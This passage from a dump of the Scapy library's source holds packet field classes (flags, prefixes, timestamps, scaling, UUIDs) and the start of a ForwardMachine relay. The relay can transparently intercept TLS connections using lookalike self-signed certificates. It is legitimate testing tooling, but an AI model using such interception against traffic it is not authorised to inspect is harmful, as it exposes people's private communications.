FlagsTest(Packet):\n               fields_desc = [FlagsField(\"flags\", 0, 8, [\"f0\", \"f1\", \"f2\", \"f3\", \"f4\", \"f5\", \"f6\", \"f7\"])]  # noqa: E501\n       >>> FlagsTest(flags=9).show2()\n       ###[ FlagsTest ]###\n         flags     = f0+f3\n\n    Example (str):\n       >>> from scapy.packet import Packet\n       >>> class TCPTest(Packet):\n               fields_desc = [\n                   BitField(\"reserved\", 0, 7),\n                   FlagsField(\"flags\", 0x2, 9, \"FSRPAUECN\")\n               ]\n       >>> TCPTest(flags=3).show2()\n       ###[ FlagsTest ]###\n         reserved  = 0\n         flags     = FS\n\n    Example (dict):\n       >>> from scapy.packet import Packet\n       >>> class FlagsTest2(Packet):\n               fields_desc = [\n                   FlagsField(\"flags\", 0x2, 16, {\n                       0x0001: \"A\",\n                       0x0008: \"B\",\n                   })\n               ]\n\n   :param name: field's name\n   :param default: default value for the field\n   :param size: number of bits in the field (in bits). if negative, LE\n   :param names: (list or str or dict) label for each flag\n       If it's a str or a list, the least Significant Bit tag's name\n       is written first.\n   \"\"\"\n    ismutable = True\n    __slots__ = [\"names\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[Union[int, FlagValue]]\n                 size,  # type: int\n                 names,     # type: Union[List[str], str, Dict[int, str]]\n                 **kwargs   # type: Any\n                 ):\n        # type: (...) -> None\n        # Convert the dict to a list\n        if isinstance(names, dict):\n            tmp = [\"bit_%d\" % i for i in range(abs(size))]\n            for i, v in names.items():\n                tmp[int(math.floor(math.log(i, 2)))] = v\n            names = tmp\n        # Store the names as str or list\n        self.names = names\n        super(FlagsField, self).__init__(name, default, size, **kwargs)\n\n    def _fixup_val(self, x):\n        # type: (Any) -> Optional[FlagValue]\n        \"\"\"Returns a FlagValue instance when needed. Internal method, to be\nused in *2i() and i2*() methods.\n\n        \"\"\"\n        if isinstance(x, (FlagValue, VolatileValue)):\n            return x  # type: ignore\n        if x is None:\n            return None\n        return FlagValue(x, self.names)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Optional[FlagValue]\n        return self._fixup_val(super(FlagsField, self).any2i(pkt, x))\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], int) -> Optional[FlagValue]\n        return self._fixup_val(super(FlagsField, self).m2i(pkt, x))\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Optional[FlagValue]\n        return self._fixup_val(super(FlagsField, self).i2h(pkt, x))\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               x,  # type: Any\n               ):\n        # type: (...) -> str\n        if isinstance(x, (list, tuple)):\n            return repr(type(x)(\n                \"None\" if v is None else str(self._fixup_val(v)) for v in x\n            ))\n        return \"None\" if x is None else str(self._fixup_val(x))\n\n\nMultiFlagsEntry = collections.namedtuple('MultiFlagsEntry', ['short', 'long'])\n\n\nclass MultiFlagsField(_BitField[Set[str]]):\n    __slots__ = FlagsField.__slots__ + [\"depends_on\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Set[str]\n                 size,  # type: int\n                 names,  # type: Dict[int, Dict[int, MultiFlagsEntry]]\n                 depends_on,  # type: Callable[[Optional[Packet]], int]\n                 ):\n        # type: (...) -> None\n        self.names = names\n        self.depends_on = depends_on\n        super(MultiFlagsField, self).__init__(name, default, size)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Set[str]\n        if not isinstance(x, (set, int)):\n            raise ValueError('set expected')\n\n        if pkt is not None:\n            if isinstance(x, int):\n                return self.m2i(pkt, x)\n            else:\n                v = self.depends_on(pkt)\n                if v is not None:\n                    assert v in self.names, 'invalid dependency'\n                    these_names = self.names[v]\n                    s = set()\n                    for i in x:\n                        for val in these_names.values():\n                            if val.short == i:\n                                s.add(i)\n                                break\n                        else:\n                            assert False, 'Unknown flag \"{}\" with this dependency'.format(i)  # noqa: E501\n                            continue\n                    return s\n        if isinstance(x, int):\n            return set()\n        return x\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Set[str]]) -> int\n        v = self.depends_on(pkt)\n        these_names = self.names.get(v, {})\n\n        r = 0\n        if x is None:\n            return r\n        for flag_set in x:\n            for i, val in these_names.items():\n                if val.short == flag_set:\n                    r |= 1 << i\n                    break\n            else:\n                r |= 1 << int(flag_set[len('bit '):])\n        return r\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], int) -> Set[str]\n        v = self.depends_on(pkt)\n        these_names = self.names.get(v, {})\n\n        r = set()\n        i = 0\n        while x:\n            if x & 1:\n                if i in these_names:\n                    r.add(these_names[i].short)\n                else:\n                    r.add('bit {}'.format(i))\n            x >>= 1\n            i += 1\n        return r\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Set[str]) -> str\n        v = self.depends_on(pkt)\n        these_names = self.names.get(v, {})\n\n        r = set()\n        for flag_set in x:\n            for i in these_names.values():\n                if i.short == flag_set:\n                    r.add(\"{} ({})\".format(i.long, i.short))\n                    break\n            else:\n                r.add(flag_set)\n        return repr(r)\n\n\nclass FixedPointField(BitField):\n    __slots__ = ['frac_bits']\n\n    def __init__(self, name, default, size, frac_bits=16):\n        # type: (str, int, int, int) -> None\n        self.frac_bits = frac_bits\n        super(FixedPointField, self).__init__(name, default, size)\n\n    def any2i(self, pkt, val):\n        # type: (Optional[Packet], Optional[float]) -> Optional[int]\n        if val is None:\n            return val\n        ival = int(val)\n        fract = int((val - ival) * 2**self.frac_bits)\n        return (ival << self.frac_bits) | fract\n\n    def i2h(self, pkt, val):\n        # type: (Optional[Packet], Optional[int]) -> Optional[EDecimal]\n        # A bit of trickery to get precise floats\n        if val is None:\n            return val\n        int_part = val >> self.frac_bits\n        pw = 2.0**self.frac_bits\n        frac_part = EDecimal(val & (1 << self.frac_bits) - 1)\n        frac_part /= pw  # type: ignore\n        return int_part + frac_part.normalize(int(math.log10(pw)))\n\n    def i2repr(self, pkt, val):\n        # type: (Optional[Packet], int) -> str\n        return str(self.i2h(pkt, val))\n\n\n# Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field.\n# Machine values are encoded in a multiple of wordbytes bytes.\nclass _IPPrefixFieldBase(Field[Tuple[str, int], Tuple[bytes, int]]):\n    __slots__ = [\"wordbytes\", \"maxbytes\", \"aton\", \"ntoa\", \"length_from\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Tuple[str, int]\n            wordbytes,  # type: int\n            maxbytes,  # type: int\n            aton,  # type: Callable[..., Any]\n            ntoa,  # type: Callable[..., Any]\n            length_from=None  # type: Optional[Callable[[Packet], int]]\n    ):\n        # type: (...) -> None\n        self.wordbytes = wordbytes\n        self.maxbytes = maxbytes\n        self.aton = aton\n        self.ntoa = ntoa\n        Field.__init__(self, name, default, \"%is\" % self.maxbytes)\n        if length_from is None:\n            length_from = lambda x: 0\n        self.length_from = length_from\n\n    def _numbytes(self, pfxlen):\n        # type: (int) -> int\n        wbits = self.wordbytes * 8\n        return ((pfxlen + (wbits - 1)) // wbits) * self.wordbytes\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], str) -> Tuple[str, int]\n        # \"fc00:1::1/64\" -> (\"fc00:1::1\", 64)\n        [pfx, pfxlen] = x.split('/')\n        self.aton(pfx)  # check for validity\n        return (pfx, int(pfxlen))\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Tuple[str, int]) -> str\n        # (\"fc00:1::1\", 64) -> \"fc00:1::1/64\"\n        (pfx, pfxlen) = x\n        return \"%s/%i\" % (pfx, pfxlen)\n\n    def i2m(self,\n            pkt,  # type: Optional[Packet]\n            x  # type: Optional[Tuple[str, int]]\n            ):\n        # type: (...) -> Tuple[bytes, int]\n        # (\"fc00:1::1\", 64) -> (b\"\\xfc\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\", 64)  # noqa: E501\n        if x is None:\n            pfx, pfxlen = \"\", 0\n        else:\n            (pfx, pfxlen) = x\n        s = self.aton(pfx)\n        return (s[:self._numbytes(pfxlen)], pfxlen)\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], Tuple[bytes, int]) -> Tuple[str, int]\n        # (b\"\\xfc\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\", 64) -> (\"fc00:1::1\", 64)  # noqa: E501\n        (s, pfxlen) = x\n\n        if len(s) < self.maxbytes:\n            s = s + (b\"\\0\" * (self.maxbytes - len(s)))\n        return (self.ntoa(s), pfxlen)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Optional[Any]) -> Tuple[str, int]\n        if x is None:\n            return (self.ntoa(b\"\\0\" * self.maxbytes), 1)\n\n        return self.h2i(pkt, x)\n\n    def i2len(self, pkt, x):\n        # type: (Packet, Tuple[str, int]) -> int\n        (_, pfxlen) = x\n        return pfxlen\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[Tuple[str, int]]) -> bytes\n        (rawpfx, pfxlen) = self.i2m(pkt, val)\n        fmt = \"!%is\" % self._numbytes(pfxlen)\n        return s + struct.pack(fmt, rawpfx)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, Tuple[str, int]]\n        pfxlen = self.length_from(pkt)\n        numbytes = self._numbytes(pfxlen)\n        fmt = \"!%is\" % numbytes\n        return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen))  # noqa: E501\n\n\nclass IPPrefixField(_IPPrefixFieldBase):\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Tuple[str, int]\n            wordbytes=1,  # type: int\n            length_from=None  # type: Optional[Callable[[Packet], int]]\n    ):\n        _IPPrefixFieldBase.__init__(\n            self,\n            name,\n            default,\n            wordbytes,\n            4,\n            inet_aton,\n            inet_ntoa,\n            length_from\n        )\n\n\nclass IP6PrefixField(_IPPrefixFieldBase):\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Tuple[str, int]\n            wordbytes=1,  # type: int\n            length_from=None  # type: Optional[Callable[[Packet], int]]\n    ):\n        # type: (...) -> None\n        _IPPrefixFieldBase.__init__(\n            self,\n            name,\n            default,\n            wordbytes,\n            16,\n            lambda a: inet_pton(socket.AF_INET6, a),\n            lambda n: inet_ntop(socket.AF_INET6, n),\n            length_from\n        )\n\n\nclass UTCTimeField(Field[float, int]):\n    __slots__ = [\"epoch\", \"delta\", \"strf\",\n                 \"use_msec\", \"use_micro\", \"use_nano\", \"custom_scaling\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: int\n                 use_msec=False,  # type: bool\n                 use_micro=False,  # type: bool\n                 use_nano=False,  # type: bool\n                 epoch=None,  # type: Optional[Tuple[int, int, int, int, int, int, int, int, int]]  # noqa: E501\n                 strf=\"%a, %d %b %Y %H:%M:%S %z\",  # type: str\n                 custom_scaling=None,  # type: Optional[int]\n                 fmt=\"I\"  # type: str\n                 ):\n        # type: (...) -> None\n        Field.__init__(self, name, default, fmt=fmt)\n        mk_epoch = EPOCH if epoch is None else calendar.timegm(epoch)\n        self.epoch = mk_epoch\n        self.delta = mk_epoch - EPOCH\n        self.strf = strf\n        self.use_msec = use_msec\n        self.use_micro = use_micro\n        self.use_nano = use_nano\n        self.custom_scaling = custom_scaling\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], float) -> str\n        if x is None:\n            x = time.time() - self.delta\n        elif self.use_msec:\n            x = x / 1e3\n        elif self.use_micro:\n            x = x / 1e6\n        elif self.use_nano:\n            x = x / 1e9\n        elif self.custom_scaling:\n            x = x / self.custom_scaling\n        x += self.delta\n        # To make negative timestamps work on all plateforms (e.g. Windows),\n        # we need a trick.\n        t = (\n            datetime.datetime(1970, 1, 1) +\n            datetime.timedelta(seconds=x)\n        ).strftime(self.strf)\n        return \"%s (%d)\" % (t, int(x))\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[float]) -> int\n        if x is None:\n            x = time.time() - self.delta\n            if self.use_msec:\n                x = x * 1e3\n            elif self.use_micro:\n                x = x * 1e6\n            elif self.use_nano:\n                x = x * 1e9\n            elif self.custom_scaling:\n                x = x * self.custom_scaling\n            return int(x)\n        return int(x)\n\n\nclass SecondsIntField(Field[float, int]):\n    __slots__ = [\"use_msec\", \"use_micro\", \"use_nano\"]\n\n    def __init__(self, name, default,\n                 use_msec=False,\n                 use_micro=False,\n                 use_nano=False):\n        # type: (str, int, bool, bool, bool) -> None\n        Field.__init__(self, name, default, \"I\")\n        self.use_msec = use_msec\n        self.use_micro = use_micro\n        self.use_nano = use_nano\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Optional[float]) -> str\n        if x is None:\n            y = 0  # type: Union[int, float]\n        elif self.use_msec:\n            y = x / 1e3\n        elif self.use_micro:\n            y = x / 1e6\n        elif self.use_nano:\n            y = x / 1e9\n        else:\n            y = x\n        return \"%s sec\" % y\n\n\nclass _ScalingField(object):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: float\n                 scaling=1,  # type: Union[int, float]\n                 unit=\"\",  # type: str\n                 offset=0,  # type: Union[int, float]\n                 ndigits=3,  # type: int\n                 fmt=\"B\",  # type: str\n                 ):\n        # type: (...) -> None\n        self.scaling = scaling\n        self.unit = unit\n        self.offset = offset\n        self.ndigits = ndigits\n        Field.__init__(self, name, default, fmt)  # type: ignore\n\n    def i2m(self,\n            pkt,  # type: Optional[Packet]\n            x  # type: Optional[Union[int, float]]\n            ):\n        # type: (...) -> Union[int, float]\n        if x is None:\n            x = 0\n        x = (x - self.offset) / self.scaling\n        if isinstance(x, float) and self.fmt[-1] != \"f\":  # type: ignore\n            x = int(round(x))\n        return x\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], Union[int, float]) -> Union[int, float]\n        x = x * self.scaling + self.offset\n        if isinstance(x, float) and self.fmt[-1] != \"f\":  # type: ignore\n            x = round(x, self.ndigits)\n        return x\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Union[int, float]\n        if isinstance(x, (str, bytes)):\n            x = struct.unpack(self.fmt, bytes_encode(x))[0]  # type: ignore\n            x = self.m2i(pkt, x)\n        if not isinstance(x, (int, float)):\n            raise ValueError(\"Unknown type\")\n        return x\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Union[int, float]) -> str\n        return \"%s %s\" % (\n            self.i2h(pkt, x),  # type: ignore\n            self.unit\n        )\n\n    def randval(self):\n        # type: () -> RandFloat\n        value = Field.randval(self)  # type: ignore\n        if value is not None:\n            min_val = round(value.min * self.scaling + self.offset,\n                            self.ndigits)\n            max_val = round(value.max * self.scaling + self.offset,\n                            self.ndigits)\n\n            return RandFloat(min(min_val, max_val), max(min_val, max_val))\n\n\nclass ScalingField(_ScalingField,\n                   Field[Union[int, float], Union[int, float]]):\n    \"\"\" Handle physical values which are scaled and/or offset for communication\n\n       Example:\n           >>> from scapy.packet import Packet\n           >>> class ScalingFieldTest(Packet):\n                   fields_desc = [ScalingField('data', 0, scaling=0.1, offset=-1, unit='mV')]  # noqa: E501\n           >>> ScalingFieldTest(data=10).show2()\n           ###[ ScalingFieldTest ]###\n             data= 10.0 mV\n           >>> hexdump(ScalingFieldTest(data=10))\n           0000  6E                                               n\n           >>> hexdump(ScalingFieldTest(data=b\"\\x6D\"))\n           0000  6D                                               m\n           >>> ScalingFieldTest(data=b\"\\x6D\").show2()\n           ###[ ScalingFieldTest ]###\n             data= 9.9 mV\n\n        bytes(ScalingFieldTest(...)) will produce 0x6E in this example.\n        0x6E is 110 (decimal). This is calculated through the scaling factor\n        and the offset. \"data\" was set to 10, which means, we want to transfer\n        the physical value 10 mV. To calculate the value, which has to be\n        sent on the bus, the offset has to subtracted and the scaling has to be\n        applied by division through the scaling factor.\n        bytes = (data - offset) / scaling\n        bytes = ( 10  -  (-1) ) /    0.1\n        bytes =  110 = 0x6E\n\n        If you want to force a certain internal value, you can assign a byte-\n        string to the field (data=b\"\\x6D\"). If a string of a bytes object is\n        given to the field, no internal value conversion will be applied\n\n       :param name: field's name\n       :param default: default value for the field\n       :param scaling: scaling factor for the internal value conversion\n       :param unit: string for the unit representation of the internal value\n       :param offset: value to offset the internal value during conversion\n       :param ndigits: number of fractional digits for the internal conversion\n       :param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation # noqa: E501\n       \"\"\"\n\n\nclass BitScalingField(_ScalingField, BitField):  # type: ignore\n    \"\"\"\n    A ScalingField that is a BitField\n    \"\"\"\n\n    def __init__(self, name, default, size, *args, **kwargs):\n        # type: (str, int, int, *Any, **Any) -> None\n        _ScalingField.__init__(self, name, default, *args, **kwargs)\n        BitField.__init__(self, name, default, size)  # type: ignore\n\n\nclass OUIField(X3BytesField):\n    \"\"\"\n    A field designed to carry a OUI (3 bytes)\n    \"\"\"\n\n    def i2repr(self, pkt, val):\n        # type: (Optional[Packet], int) -> str\n        by_val = struct.pack(\"!I\", val or 0)[1:]\n        oui = str2mac(by_val + b\"\\0\" * 3)[:8]\n        if conf.manufdb:\n            fancy = conf.manufdb._get_manuf(oui)\n            if fancy != oui:\n                return \"%s (%s)\" % (fancy, oui)\n        return oui\n\n\nclass UUIDField(Field[UUID, bytes]):\n    \"\"\"Field for UUID storage, wrapping Python's uuid.UUID type.\n\n    The internal storage format of this field is ``uuid.UUID`` from the Python\n    standard library.\n\n    There are three formats (``uuid_fmt``) for this field type:\n\n    * ``FORMAT_BE`` (default): the UUID is six fields in big-endian byte order,\n      per RFC 4122.\n\n      This format is used by DHCPv6 (RFC 6355) and most network protocols.\n\n    * ``FORMAT_LE``: the UUID is six fields, with ``time_low``, ``time_mid``\n      and ``time_high_version`` in little-endian byte order. This *doesn't*\n      change the arrangement of the fields from RFC 4122.\n\n      This format is used by Microsoft's COM/OLE libraries.\n\n    * ``FORMAT_REV``: the UUID is a single 128-bit integer in little-endian\n      byte order. This *changes the arrangement* of the fields.\n\n      This format is used by Bluetooth Low Energy.\n\n    Note: You should use the constants here.\n\n    The \"human encoding\" of this field supports a number of different input\n    formats, and wraps Python's ``uuid.UUID`` library appropriately:\n\n    * Given a bytearray, bytes or str of 16 bytes, this class decodes UUIDs in\n      wire format.\n\n    * Given a bytearray, bytes or str of other lengths, this delegates to\n      ``uuid.UUID`` the Python standard library. This supports a number of\n      different encoding options -- see the Python standard library\n      documentation for more details.\n\n    * Given an int or long, presumed to be a 128-bit integer to pass to\n      ``uuid.UUID``.\n\n    * Given a tuple:\n\n      * Tuples of 11 integers are treated as having the last 6 integers forming\n        the ``node`` field, and are merged before being passed as a tuple of 6\n        integers to ``uuid.UUID``.\n\n      * Otherwise, the tuple is passed as the ``fields`` parameter to\n        ``uuid.UUID`` directly without modification.\n\n        ``uuid.UUID`` expects a tuple of 6 integers.\n\n    Other types (such as ``uuid.UUID``) are passed through.\n    \"\"\"\n\n    __slots__ = [\"uuid_fmt\"]\n\n    FORMAT_BE = 0\n    FORMAT_LE = 1\n    FORMAT_REV = 2\n\n    # Change this when we get new formats\n    FORMATS = (FORMAT_BE, FORMAT_LE, FORMAT_REV)\n\n    def __init__(self, name, default, uuid_fmt=FORMAT_BE):\n        # type: (str, Optional[int], int) -> None\n        self.uuid_fmt = uuid_fmt\n        self._check_uuid_fmt()\n        Field.__init__(self, name, default, \"16s\")\n\n    def _check_uuid_fmt(self):\n        # type: () -> None\n        \"\"\"Checks .uuid_fmt, and raises an exception if it is not valid.\"\"\"\n        if self.uuid_fmt not in UUIDField.FORMATS:\n            raise FieldValueRangeException(\n                \"Unsupported uuid_fmt ({})\".format(self.uuid_fmt))\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[UUID]) -> bytes\n        self._check_uuid_fmt()\n        if x is None:\n            return b'\\0' * 16\n        if self.uuid_fmt == UUIDField.FORMAT_BE:\n            return x.bytes\n        elif self.uuid_fmt == UUIDField.FORMAT_LE:\n            return x.bytes_le\n        elif self.uuid_fmt == UUIDField.FORMAT_REV:\n            return x.bytes[::-1]\n        else:\n            raise FieldAttributeException(\"Unknown fmt\")\n\n    def m2i(self,\n            pkt,  # type: Optional[Packet]\n            x,  # type: bytes\n            ):\n        # type: (...) -> UUID\n        self._check_uuid_fmt()\n        if self.uuid_fmt == UUIDField.FORMAT_BE:\n            return UUID(bytes=x)\n        elif self.uuid_fmt == UUIDField.FORMAT_LE:\n            return UUID(bytes_le=x)\n        elif self.uuid_fmt == UUIDField.FORMAT_REV:\n            return UUID(bytes=x[::-1])\n        else:\n            raise FieldAttributeException(\"Unknown fmt\")\n\n    def any2i(self,\n              pkt,  # type: Optional[Packet]\n              x  # type: Any  # noqa: E501\n              ):\n        # type: (...) -> Optional[UUID]\n        # Python's uuid doesn't handle bytearray, so convert to an immutable\n        # type first.\n        if isinstance(x, bytearray):\n            x = bytes_encode(x)\n\n        if isinstance(x, int):\n            u = UUID(int=x)\n        elif isinstance(x, tuple):\n            if len(x) == 11:\n                # For compatibility with dce_rpc: this packs into a tuple where\n                # elements 7..10 are the 48-bit node ID.\n                node = 0\n                for i in x[5:]:\n                    node = (node << 8) | i\n\n                x = (x[0], x[1], x[2], x[3], x[4], node)\n\n            u = UUID(fields=x)\n        elif isinstance(x, (str, bytes)):\n            if len(x) == 16:\n                # Raw bytes\n                u = self.m2i(pkt, bytes_encode(x))\n            else:\n                u = UUID(plain_str(x))\n        elif isinstance(x, (UUID, RandUUID)):\n            u = cast(UUID, x)\n        else:\n            return None\n        return u\n\n    @staticmethod\n    def randval():\n        # type: () -> RandUUID\n        return RandUUID()\n\n\nclass UUIDEnumField(UUIDField, _EnumField[UUID]):\n    __slots__ = EnumField.__slots__\n\n    def __init__(self, name, default, enum, uuid_fmt=0):\n        # type: (str, Optional[int], Any, int) -> None\n        _EnumField.__init__(self, name, default, enum, \"16s\")  # type: ignore\n        UUIDField.__init__(self, name, default, uuid_fmt=uuid_fmt)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> UUID\n        return _EnumField.any2i(self, pkt, x)  # type: ignore\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               x,  # type: UUID\n               ):\n        # type: (...) -> Any\n        return _EnumField.i2repr(self, pkt, x)\n\n\nclass BitExtendedField(Field[Optional[int], int]):\n    \"\"\"\n    Low E Bit Extended Field\n\n    This type of field has a variable number of bytes. Each byte is defined\n    as follows:\n    - 7 bits of data\n    - 1 bit an an extension bit:\n\n      + 0 means it is last byte of the field (\"stopping bit\")\n      + 1 means there is another byte after this one (\"forwarding bit\")\n\n    To get the actual data, it is necessary to hop the binary data byte per\n    byte and to check the extension bit until 0\n    \"\"\"\n\n    __slots__ = [\"extension_bit\"]\n\n    def __init__(self, name, default, extension_bit):\n        # type: (str, Optional[Any], int) -> None\n        Field.__init__(self, name, default, \"B\")\n        assert extension_bit in [7, 0]\n        self.extension_bit = extension_bit\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[Packet], bytes, Optional[int]) -> bytes\n        val = self.i2m(pkt, val)\n        if not val:\n            return s + b\"\\0\"\n        rv = b\"\"\n        mask = 1 << self.extension_bit\n        shift = (self.extension_bit + 1) % 8\n        while val:\n            bv = (val & 0x7F) << shift\n            val = val >> 7\n            if val:\n                bv |= mask\n            rv += struct.pack(\"!B\", bv)\n        return s + rv\n\n    def getfield(self, pkt, s):\n        # type: (Optional[Any], bytes) -> Tuple[bytes, Optional[int]]\n        val = 0\n        smask = 1 << self.extension_bit\n        mask = 0xFF & ~ (1 << self.extension_bit)\n        shift = (self.extension_bit + 1) % 8\n        i = 0\n        while s:\n            val |= ((s[0] & mask) >> shift) << (7 * i)\n            if (s[0] & smask) == 0:  # extension bit is 0\n                # end\n                s = s[1:]\n                break\n            s = s[1:]\n            i += 1\n        return s, self.m2i(pkt, val)\n\n\nclass LSBExtendedField(BitExtendedField):\n    # This is a BitExtendedField with the extension bit on LSB\n    def __init__(self, name, default):\n        # type: (str, Optional[Any]) -> None\n        BitExtendedField.__init__(self, name, default, extension_bit=0)\n\n\nclass MSBExtendedField(BitExtendedField):\n    # This is a BitExtendedField with the extension bit on MSB\n    def __init__(self, name, default):\n        # type: (str, Optional[Any]) -> None\n        BitExtendedField.__init__(self, name, default, extension_bit=7)\n"
  },
  {
    "path": "scapy/fwdmachine.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nForwarding machine.\n\"\"\"\n\nimport enum\nimport functools\nimport os\nimport select\nimport socket\nimport ssl\nimport threading\nimport traceback\n\nfrom scapy.asn1.asn1 import ASN1_OID\nfrom scapy.config import conf\nfrom scapy.data import MTU\nfrom scapy.packet import Packet\nfrom scapy.supersocket import StreamSocket, StreamSocketPeekless\nfrom scapy.themes import DefaultTheme\nfrom scapy.utils import get_temp_file\nfrom scapy.volatile import RandInt\n\nfrom scapy.layers.tls.all import (\n    Cert,\n    PrivKeyECDSA,\n)\nfrom scapy.layers.x509 import (\n    X509_AlgorithmIdentifier,\n)\n\nfrom cryptography.hazmat.primitives import serialization\n\n# Typing imports\nfrom typing import (\n    Type,\n    Optional,\n)\n\n\nclass ForwardMachine:\n    \"\"\"\n    Forward Machine\n\n    This binds a port and relay any connections from 'clients' to\n    their original destination a 'server'. Forwarding machine can be used in\n    two modes:\n\n    - SERVER: the server binds a port on its local IP and forwards packets to a\n        ``remote_address``.\n    - TPROXY: the server binds can intercept packets to any IP destination, provided\n        that they are routed through the local server, and some tweaking of the OS\n        routes;\n\n    The TPROXY mode is expected to be used on a router with FORWARDING and only a\n    specific set of nat rules set to -j TPROXY. A script called 'vethrelay.sh'\n    is provided in the documentation for setting this up.\n\n    ForwardMachine supports transparently proxifying TLS. By default, it will generate\n    lookalike self-signed certificates, but it's also possible to specify a certificate\n    by using crtfile and keyfile.\n\n    Parameters:\n\n    :param port: the port to listen on\n    :param cls: the scapy class to parse on that port\n    :param af: the address family to use (default AF_INET)\n    :param proto: the proto to use (default SOCK_STREAM)\n    :param remote_address: the IP to use in SERVER mode, or by default in TPROXY when\n        the destination is the local IP.\n    :param remote_af: (optional) if provided, use a different address family to connect\n        to the remote host.\n    :param bind_address: the IP to bind locally. \"0.0.0.0\" by default in SERVER mode,\n        but \"2.2.2.2\" by default in TPROXY (if you are using the provided\n        'vethrelay.sh' script).\n    :param tls: enable TLS (in both the server and client)\n    :param crtfile: (optional) if provided, uses a certificate instead of self signed\n        ones.\n    :param keyfile: (optional) path to the key file\n    :param timeout: the timeout before connecting to the real server (default 2)\n\n    Methods to override:\n\n    :func xfrmcs: a function to call when forwarding a packet from the 'client' to\n        the server. If it raises a FORWARD exception, the packet is forwarded as it. If\n        it raises a DROP Exception, the packet is discarded. If it raises a\n        FORWARD_REPLACE(pkt) exception, then pkt is forwarded instead of the original\n        packet.\n    :func xfrmsc: same as xfrmcs for packets forwarded from the 'server' to the\n        'client'.\n    \"\"\"\n\n    class MODE(enum.Enum):\n        SERVER = 0\n        TPROXY = 1\n\n    def __init__(\n        self,\n        mode: MODE,\n        port: int,\n        cls: Type[Packet],\n        af: socket.AddressFamily = socket.AF_INET,\n        proto: socket.SocketKind = socket.SOCK_STREAM,\n        remote_address: str = None,\n        remote_af: Optional[socket.AddressFamily] = None,\n        bind_address: str = None,\n        tls: bool = False,\n        crtfile: Optional[str] = None,\n        keyfile: Optional[str] = None,\n        timeout: int = 2,\n        MTU: int = MTU,\n        **kwargs,\n    ):\n        self.mode = mode\n        self.port = port\n        self.cls = cls\n        self.af = af\n        self.remote_af = remote_af if remote_af is not None else af\n        self.proto = proto\n        self.tls = tls\n        self.crtfile = crtfile\n        self.keyfile = keyfile\n        self.timeout = timeout\n        self.MTU = MTU\n        self.remote_address = remote_address\n        if self.tls or self.af == 40:  # TLS or VSOCK\n            self.sockcls = StreamSocketPeekless\n        else:\n            self.sockcls = StreamSocket\n        # Chose 'bind_address' depending on the mode\n        self.bind_address = bind_address\n        if self.bind_address is None:\n            if self.mode == ForwardMachine.MODE.SERVER:\n                self.bind_address = \"0.0.0.0\"\n            elif self.mode == ForwardMachine.MODE.TPROXY:\n                self.bind_address = \"2.2.2.2\"\n            else:\n                raise ValueError(\"Unknown mode :/\")\n        red = lambda z: functools.reduce(lambda x, y: x + y, z)\n        # Utils\n        self.ct = DefaultTheme()\n        self.local_ips = red(red(list(x.ips.values())) for x in conf.ifaces.values())\n        self.cache = {}\n        super(ForwardMachine, self).__init__(**kwargs)\n\n    def run(self):\n        \"\"\"\n        Function to start the relay server\n        \"\"\"\n        self.ssock = socket.socket(self.af, self.proto, 0)\n        self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        if self.mode == ForwardMachine.MODE.TPROXY:\n            self.ssock.setsockopt(socket.SOL_IP, socket.IP_TRANSPARENT, 1)  # TPROXY !\n        self.ssock.bind((self.bind_address, self.port))\n        self.ssock.listen(5)\n        print(self.ct.green(\"Relay server waiting on port %s\" % self.port))\n        while True:\n            conn, addr = self.ssock.accept()\n            # Calc dest\n            dest = conn.getsockname()\n            if self.mode == ForwardMachine.MODE.SERVER or (\n                dest[0] in self.local_ips and self.remote_address\n            ):\n                dest = (self.remote_address,) + dest[1:]\n            print(self.ct.green(\"%s -> %s connected !\" % (repr(addr), repr(dest))))\n            try:\n                threading.Thread(\n                    target=self.handler,\n                    args=(conn, addr, dest),\n                ).start()\n            except Exception:\n                print(self.ct.red(\"%s errored !\" % repr(addr)))\n                conn.close()\n                pass\n\n    def xfrmcs(self, pkt, ctx):\n        \"\"\"\n        DEV: overwrite me to handle client->server\n        